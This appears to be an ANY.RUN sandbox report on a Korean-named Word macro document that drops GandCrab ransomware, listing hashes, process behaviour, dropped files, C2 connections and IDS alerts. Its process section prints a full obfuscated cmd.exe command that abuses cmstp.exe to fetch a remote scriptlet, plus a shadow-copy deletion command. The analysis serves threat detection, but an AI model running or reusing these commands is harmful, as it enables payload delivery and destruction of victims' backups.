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File name:

소환장.doc

Full analysis: https://app.any.run/tasks/930c95f1-a42e-4f54-a650-48ff55edd7fc
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 04:59:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Wed Mar 20 08:04:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

F19D0DA748871517B373AF12A4BB12A9

SHA1:

F9AC090526E9ED22A0E2F7303F2649844DD19CFD

SHA256:

CE83B3100892DFA1E4584437A1C627C8AFDD692BA9953F00AA8074D0E3AAD888

SSDEEP:

1536:8BHYRutkxdA+Ml4tf9v8Z1nRQWSRNSi+T+a9:8BKuejtJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 3500)

    • Application was dropped or rewritten from another process

      • 27524.exe (PID: 2472)

    • Actions looks like stealing of personal data

      • 27524.exe (PID: 2472)

    • Writes file to Word startup folder

      • 27524.exe (PID: 2472)

    • Renames files like Ransomware

      • 27524.exe (PID: 2472)

    • Dropped file may contain instructions of ransomware

      • 27524.exe (PID: 2472)

    • Deletes shadow copies

      • cmd.exe (PID: 2356)

    • Changes settings of System certificates

      • 27524.exe (PID: 2472)

    • Connects to CnC server

      • 27524.exe (PID: 2472)

    • GANDCRAB detected

      • 27524.exe (PID: 2472)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 896)
      • cmstp.exe (PID: 3500)
      • 27524.exe (PID: 2472)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 3500)

    • Creates files in the program directory

      • 27524.exe (PID: 2472)

    • Reads the cookies of Mozilla Firefox

      • 27524.exe (PID: 2472)

    • Starts CMD.EXE for commands execution

      • 27524.exe (PID: 2472)

    • Adds / modifies Windows certificates

      • 27524.exe (PID: 2472)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 572)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 572)

    • Dropped object may contain Bitcoin addresses

      • 27524.exe (PID: 2472)

    • Dropped object may contain TOR URL's

      • 27524.exe (PID: 2472)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: 1.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:20 08:04:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 27524.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
572"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\소환장.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
896cmd /V /C set "V=s" && !V!et "V0=\" && !V!et "V93=e" && !V!et "V87=i" && !V!et "V5=A" && !V!et "V4=N" && !V!et "V79=d" && c!V5!ll !V!et "V44=%!V5!PP!V79!!V5!T!V5!%" && c!V5!ll !V!et "V3=%R!V5!!V4!!V79!OM%" && !V!et "V36=!V44!!V0!M!V87!cro!V!oft!V0!T!V93!mplat!V93!s!V0!!V3!.txt" && !V!et "V57="^" && (For %i in ("[v!V93!r!V!ion]" "!V!ignatur!V93!=$Wi!V4!dow!V! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!V93!faultIn!V!tall_Singl!V93!U!V!er]" "UnR!V93!gi!V!t!V93!rOCXs=V30" "[V30]" "%11%\%V1_1%%V1_2%%V1_3%,NI,%V64_1%%V64_2%%V64_3%%V64_4%%V64_5%%V64_6%%V64_7%%V64_8%%V64_9%%V64_10%%V64_11%%V64_12%%V64_13%%V64_14%%V64_15%%V64_16%" "[!V!tring!V!]" "V64_1=ht" "V64_2=tp" "V64_3=:/" "V64_4=/p" "V64_5=as" "V64_6=te" "V64_7=bi" "V64_8=n." "V64_9=co" "V64_10=m/" "V64_11=ra" "V64_12=w/" "V64_13=Q0" "V64_14=E8" "V64_15=fd" "V64_16=wn" "V1_2=rO" "V1_1=sC" "V1_3=bJ" ) do @echo %~i)>"!V36!" && echo !V!erv!V87!ceNam!V93!=!V57! !V57!>>!V36! && echo !V!hortSvcN!V5!me=!V57! !V57!>>!V36! && c!V5!ll !V!et "V50=%WI!V4!!V79!IR%" && !V!t!V5!rt "" !V50!!V0!Sy!V!t!V93!m32!V0!cm!V!tp.!V93!x!V93! /s /ns "!V36!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3500C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\19540.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2472"C:\Users\admin\AppData\Roaming\Microsoft\27524.exe" C:\Users\admin\AppData\Roaming\Microsoft\27524.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
2356"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
27524.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2388vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2928C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 598
Read events
1 196
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
421
Text files
327
Unknown types
16

Dropped files

PID
Process
Filename
Type
572WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8FA4.tmp.cvr —
MD5:—
SHA256:—
572WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF127AB40A3838ACD0.TMP —
MD5:—
SHA256:—
3500cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:D53992E5254CE478A64604E863148447
SHA256:C9BA15FB5409424935F149E8DC81BC44566CC635852B91C6617268E070E927AC
572WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\SystemMonitor.exdtlb
MD5:0145F2A0674E63ACD16B7E2313974BFA
SHA256:55BD81CD9C0B7E8F099DC2F02493245AF93D7F57B525409E083050CD5070ED97
247227524.exeC:\MSOCache\MTDWIBHY-MANUAL.txttext
MD5:BCED4C6912F13418271640BB2BAD0E9E
SHA256:586D78AA8E0176EC4E70B7B601865A8C0F3CFE9AC75AD99D2B9945C461C5D012
3500cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\27524.exeexecutable
MD5:514EFCDD01942A69FCB96B5D02B9E096
SHA256:CC0F162476460B22977AD7310773646FBECFB98C00C0105DBBEC9D52159F2B6F
572WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$소환장.docpgc
MD5:4A84922D7B53DEA0D0ECDC863842E7D0
SHA256:DD25ED5FFCDB28B667A45C1178D8E6051FB8036487251E07BFE72481A50B1AE0
896cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\19540.txtini
MD5:D60E2B8CD42C0A45713D3288DDA63FA3
SHA256:313716627353904D047E1EBEFA01D993F78073C79F029DEC2157318F374E8A6F
247227524.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
247227524.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\MTDWIBHY-MANUAL.txttext
MD5:BCED4C6912F13418271640BB2BAD0E9E
SHA256:586D78AA8E0176EC4E70B7B601865A8C0F3CFE9AC75AD99D2B9945C461C5D012
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3500
cmstp.exe
GET
200
104.20.208.21:80
http://pastebin.com/raw/Q0E8fdwn
US
xml
206 Kb
shared
2472
27524.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3500
cmstp.exe
104.20.208.21:80
pastebin.com
Cloudflare Inc
US
shared
2472
27524.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious
2472
27524.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
3500
cmstp.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
3500
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2472
27524.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2472
27524.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2472
27524.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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소환장.doc